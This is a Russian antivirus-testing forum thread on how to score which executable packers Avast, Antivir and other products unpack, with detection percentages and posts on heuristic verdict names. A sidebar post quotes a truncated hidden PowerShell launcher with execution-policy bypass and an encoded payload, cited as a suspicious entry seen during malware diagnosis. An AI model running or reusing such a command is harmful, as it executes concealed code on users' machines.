Перейти к содержанию
Николай Терещенко

Методика оценки теста.

Recommended Posts

Николай Терещенко

Разгорелась бурная дискуссия по поводу методики оценки результатов. На примере первого теста предлагаю обсудить, как давать оценку результатам.

Вопрос ко всем - оцените результаты теста (какие пакеры поддерживаются) следующих антивирусов, например:

- Avast;

- Antivir;

- McAfee;

- UNA;

- VBA32.

Как вы считаете и почему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Николай Терещенко

Ну, раз никто не хочет начинать, давайте я и начну.

Вот как бы я провел первый тест, учитывая все высказанные замечания и предложения. Возьму первые два антивируса, остальное думаю будет понятно.

1:

Из пакуемых вирусов я бы выкинул Email-Worm.Win32.Bagle, который плохо пакуется и только вносит ложные данные в тест, т.к. предположить о корректности или некорректности его сигнатуры у антивируса не представляется возможным. Слишком мало рабочих экземпляров ...

2:

К сожалению во время теста не было выявлено как именно детектировался вирус – дженерик или эвристика. В следствии этого для данного анализа я предположу, что везде работал Дженерик детект. К эвристике я думаю, мы еще вернемся в ноябрьском тесте, когда у нас будут данные.

3:

Теперь сам анализ

Avast:

Очевидно, что Avast точно не знает 7 упаковщиков:

- ACProtect

- EXECryptor

- Obsidium

- ORiEN

- Packman

- Private exe Protector

- yoda's Protector

Так же очевидно, что 100% определяется только один упаковщик:

- Morphine

В остальном, антивирус почти не распаковывает вирусы Backdoor.Win32.BO_Installer и

Trojan-Clicker.Win32.Getfound. Предполагается, что сигнатуры данных вирусов добавлены разработчиками антивирусов криво. Вследствие этого засчитываем работу с упаковщиками, но с дефектом:

- * Dropper

- * FSG

- ** ASPack

- ** ASProtect

- ** ExeStealth

- ** MEW

- ** NsPack

- ** PECompact2

- ** PESpin

- ** Petite

- ** UPX

- ** WinUpack

- ** yoda's Cryptor

* - не определение одного из упакованных вирусов.

В итоге результат Avast:

04,76% - Full Detect

09,52% - 1 False

52,38% - 2 False

33,33% - No Detect

Antivir:

Очевидно, что Antivir точно не знает 14 упаковщиков:

- ACProtect (Trojan-Clicker.Win32.Getfound – м.б. это была эвристика, а м.б. именно такой вирус существовал)

- ASProtect

- EXECryptor

- ExeStealth

- Morphine

- NsPack

- Obsidium

- ORiEN

- Packman

- PECompact2

- PESpin (Email-Worm.Win32.Naked – м.б. это была эвристика, а м.б. именно такой вирус существовал)

- Petite

- Private exe Protector

- yoda's Protector (не считаю, что пакер поддерживается, если кол-во фэлсов было более 2-х)

Так же очевидно, что 100% определяется только два упаковщика:

- ASPack

- yoda's Cryptor

В остальном прослеживается некорректность распаковки Email-Worm.Win32.Swen и Trojan-Clicker.Win32.Getfound обработанными некоторыми упаковщиками (возможно антивирусом используется некорректная сигнатура этих вирусов). Вследствие этого засчитываем работу с упаковщиками, но с дефектом:

- * Dropper

- * FSG

- * MEW

- * UPX

- * WinUpack

* - не определение одного из упакованных вирусов.

В итоге результат Antivir:

09,52% - Full Detect

23,81% - 1 False

00,00% - 2 False

66,67% - No Detect

Итог:

В общем отчете по каждому антивирусу будут указываться 4-ре позиции.

Но в любом случае предлагаю давать награды только за 100% детект, в указанных в методике процентных промежутках.

Конечно, отлов по эвристике внесет коррективы в результаты, но это уже обсуждение следующего теста.

Добавлено спустя 40 секунд:

Ваши комментарии или мнения? 8)

Avast.jpg

Antivir.jpg

post-7-1156410871.jpg

post-1-1156410871.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
vaber

Эвристическое срабатывание DrWEb 4.33

Поисковый модуль:

* новый эвристический анализатор, который позволяет обнаруживать

новые модификации вирусов, следующих типов:

DLOADER (Trojan.DownLoader.xxx), MULDROP (Trojan.MulDrop.xxx),

STPAGE (Trojan.StartPage), BACKDOOR (BackDoor.xxx),

PWS (Trojan.PWS.xxx), WORM and MAIL.WORM (e-mail worms).

Возможные комбинации:

(DLOADER|MULDROP|STPAGE)(.IRC)(.PWS).Trojan

BACKDOOR(.IRC)(.PWS).Trojan

WIN.(.IRC)(.PWS)(.MAIL).WORM.Virus

Эвристическое срабатывание UNA

1) Для Win32 (PE) файлов:

Win32.TSR.virus, Win32.HLLx.virus, Win32.CRYPT.virus, Win32.virus, I-Worm.Win32.virus, I-Worm.Win32.TSR.virus, Trojan.Win32, Trojan.Win32.PSW (сравнивать только полные совпадения строк, если например будет Trojan.Win32.VB - то это уже запись).

2) Для COM/EXE файлов (DOS):

[префикс].virus, где префикс может состоять из следующих сочетаний, разделённых через точку: COM, EXE, HLLx, TSR, BOOT, CRYPT.

Например: COM.TSR.CRYPT.virus.

3) Для макросов различных документов: MACRO.virus.

4) Для скриптов:

[префикс].virus, где префикс может состоять из следующих сочетаний, разделённых через точку: I-Worm, BAT, VBS, JS.

Например: I-Worm.VBS.virus, или BAT.virus.

Вот так всё непросто, лучше уж по логам смотреть на сообщение suspicious.

Более подробно тут:

http://virusinfo.info/showthread.php?p=78247#post78247

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
OlegSych
Эвристическое срабатывание UNA

...

В данном посте речь шла о том, что люди использовали результаты VirusTotal для составления таблицы результатов проверки файлов. При этом им недоступны были LOG-файлы, а только имена вирусов, и при этом не пишется сгенерировано имя базами или эвристикой.

Если же у вас на руках есть логи, то всё значительно проще, для срабатывания баз пишется infected <Имя вируса>, для эвристического срабатывания - suspiciouse <Имя вируса>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×